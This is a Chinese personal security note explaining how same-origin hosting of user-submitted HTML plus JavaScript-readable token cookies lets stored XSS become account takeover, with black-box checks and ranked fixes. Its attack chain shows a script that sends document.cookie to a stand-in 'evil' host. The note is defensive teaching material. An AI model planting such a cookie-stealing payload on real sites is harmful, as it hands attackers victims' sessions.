用户生成内容同源托管导致凭证窃取 (UGC Same-Origin Hosting & Credential Theft)
1. 一句话
只要"用户能粘贴 HTML/JS"和"登录凭证能被 JS 读到"这两件事同时成立,就等于把所有人的账号送给任何会发页面的人。
这不是某个漏洞,是一种架构级反模式。凡是做「粘贴代码生成网页」「低代码画布」「Markdown 预览」「HTML 托管」的产品,都要先过这一关。
2. 触发条件(三者同时成立)
| 条件 | 说明 |
|---|---|
| ① 用户内容执行脚本 | 用户提交的 HTML 里的 <script> 原样返回给浏览器 |
| ② 内容与主应用同源 | 用户页面跑在 www.example.com/view/<id>/,而不是独立域名 |
| ③ 凭证是 JS 可读的 cookie | 没有 HttpOnly,或 token 存在 localStorage |
三个都中 → 存储型 XSS 直接升级为账号接管(ATO)。
3. 典型链路
攻击者发布含 <script>fetch('//evil/?c='+document.cookie)</script> 的项目
↓
受害者(已登录)打开 https://www.example.com/view/<攻击者项目ID>/
↓
脚本在 www.example.com 源上执行 → 读到 token cookie
↓
外传到攻击者服务器 → 攻击者重放 Authorization: Bearer <token>
↓
冒充受害者调用所有接口注意:Set-Cookie: token=...; domain=.example.com 会让所有子域共享这个 cookie。
所以"用户内容放在子域 user1.example.com"并不解决问题——子域同样能读到 .example.com 的 cookie。
4. 怎么快速判断(黑盒)
# ① 用户内容跑在哪个源上?
curl -s https://目标/view/<id>/ | grep -o '<script[^>]*>'
# 有 <script> 且不是平台自己注入的 → 条件①成立
# ② cookie 作用域与属性
curl -sD - -o /dev/null -X POST https://目标/api/user/logout | grep -i set-cookie
# 看 domain= 和有没有 HttpOnly
# ③ 前端怎么取 token
grep -oE 'document\.cookie[^;]{0,120}' 前端bundle.js
# 出现 document.cookie 读 token → 条件③成立(非 HttpOnly)补一刀:SameSite 缺失只影响跨站,同源 XSS 下 SameSite 完全不起作用,别指望它。
5. 根治方案(按有效性排序)
方案 A:独立域名(唯一彻底的做法)
用户内容放到完全不同的注册域:
主站: www.example.com
用户内容: <id>.usercontent-example.net- 不同 eTLD+1 → 浏览器天然隔离,cookie 不共享
- 需要单独的证书(
*.usercontent-example.net)
方案 B:sandbox 不带 allow-same-origin
<iframe src="/view/<id>/" sandbox="allow-scripts"></iframe>- 关键:不要加
allow-same-origin。加了就等于没加(脚本仍能访问原站 cookie/存储) - 代价:用户页面不能用 cookie、localStorage、部分 API
- 注意:如果用户能直接访问
/view/<id>/(不经过 iframe),sandbox 就失效了 → 必须服务端保证该路径只能被 iframe 加载
方案 C:凭证改为 JS 读不到
Set-Cookie: token=<v>; HttpOnly; Secure; SameSite=Lax; Path=/- 前端不再
document.cookie取 token,改由浏览器自动携带 - 这只掐断了窃取环节,XSS 本身还在(仍能以受害者身份发请求),属于缓解不是根治
方案 D:CSP 兜底
Content-Security-Policy: script-src 'none'给用户内容页禁用脚本。如果产品必须允许脚本,CSP 就只能做辅助。
优先级:A > B > C > D。B/C/D 都是缓解,A 才是根治。
6. 相关坑
- "源码保护"是假防护:禁 F12 / 右键 / Ctrl+U 纯前端,
curl直接绕过。反而给用户"内容安全"的错觉,容易诱导他们往里放密钥。 - 子域名隔离是错觉:只要 cookie
domain=.example.com,子域之间就是同一个信任域。真正的隔离靠不同注册域。 - 别把 token 同时放 localStorage 和 cookie:两处都是 JS 可读,等于把攻击面乘二。
frame-ancestors防的是"被套壳",不防 XSS:只有script-src才防 XSS。
7. 记忆锚点
用户能写脚本 + 脚本和登录态同源 = 账号接管。
判断顺序:内容在哪个源 → cookie 作用域和 HttpOnly → 前端怎么取 token。
8. 关联
- Web 登录鉴权 (Session, Cookie, Bearer, JWT)
- CSP (Content Security Policy 内容安全策略)
- 实例:html2web.com(2026-09 评估,见
~/.workspace/pentest-html2web/渗透测试报告.md)
本文归档于个人知识库 · 领域:CS & AI · 模块:04 Project_CS_AI/Web